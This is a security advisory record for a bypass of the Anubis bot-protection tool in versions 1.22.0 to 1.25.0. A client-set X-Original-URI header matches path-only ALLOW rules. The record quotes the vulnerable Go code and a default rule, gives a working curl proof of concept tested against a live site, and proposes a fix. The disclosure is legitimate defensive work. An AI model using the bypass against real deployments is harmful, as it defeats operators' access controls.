{"id":"GHSA-6wcg-mqvh-fcvg","revision":"bdb08281f23e4855995ac1c8186005f3","records":[{"revision":"bdb08281f23e4855995ac1c8186005f3","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-6wcg-mqvh-fcvg","aliases":["CVE-2026-62314","GO-2026-6639"],"title":"Anubis: Policy bypass via client controlled X-Original-URI header","description":"Any HTTP client can bypass Anubis bot protection on the default configuration by adding a single request header. No challenge needs to be solved.\nAffected versions: v1.22.0 through v1.25.0 (introduced in commit d1d631a, PR #1015)\n\nThe root cause is in `lib/policy/checker.go`, `PathChecker.Check()`:\n```go\nfunc (pc *PathChecker) Check(r *http.Request) (bool, error) {\n    originalUrl := r.Header.Get(\"X-Original-URI\")\n    if originalUrl != \"\" {\n        if pc.regexp.MatchString(originalUrl) {\n            return true, nil\n        }\n    }\n    if pc.regexp.MatchString(r.URL.Path) {\n        return true, nil\n    }\n    return false, nil\n}\n```\n\nThe header value comes directly from the client request. The middleware chain never strips it. In reverse proxy mode an attacker fully controls it.\nThe default policy imports `data/common/keep-internet-working.yaml`, which contains path-only ALLOW rules with no other conditions:\n\n```yaml\n- name: well-known\n  path_regex: ^/\\.well-known/.*$\n  action: ALLOW\n```\n\nWhen `X-Original-URI` matches one of those regexes, the rule fires as ALLOW and the request is forwarded upstream without any challenge or JWT check.\n\n\n# Proof of concept\n\nNormal request, gets challenged:\n```\ncurl -s https://anubis.techaro.lol/ | grep -o \"<title>.*</title>\"\n```\n\nBypass, gets upstream content:\n```\ncurl -s -H \"X-Original-URI: /.well-known/x\" https://anubis.techaro.lol/ | grep -o \"<title>.*</title>\"\n```\n\nThe first command returns the Anubis challenge page title. The second returns the real site title directly, with no cookie set and no challenge issued. Verified live against anubis.techaro.lol.\n\n# Suggested fix\nThe fix should probably be to strip the header from incoming client requests in the middleware chain before policy evaluation. In `auth_request` mode the header is set by the proxy after Anubis processes the middleware, so stripping it at ingress does not break that deployment mode.","state":0,"publishedAt":"2026-10-02T18:22:08+00:00","modifiedAt":"2026-10-07T17:55:39.9008969+00:00","affected":[{"ecosystem":"Go","name":"github.com/TecharoHQ/anubis","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.22.0"},{"kind":"fixed","version":"1.26.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/TecharoHQ/anubis/security/advisories/GHSA-6wcg-mqvh-fcvg","https://nvd.nist.gov/vuln/detail/CVE-2026-62314","https://github.com/TecharoHQ/anubis/pull/1630","https://github.com/TecharoHQ/anubis/commit/276b537776b281b1c4e01421435bc03ade3d8fc4","https://github.com/TecharoHQ/anubis","https://github.com/TecharoHQ/anubis/releases/tag/v1.26.0-pre1"],"sourceUrl":"https://github.com/advisories/GHSA-6wcg-mqvh-fcvg","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-6wcg-mqvh-fcvg","identifiers":["GHSA-6wcg-mqvh-fcvg","CVE-2026-62314","GO-2026-6639"]},"retained":false,"historicalAffected":[]}],"coverage":[]}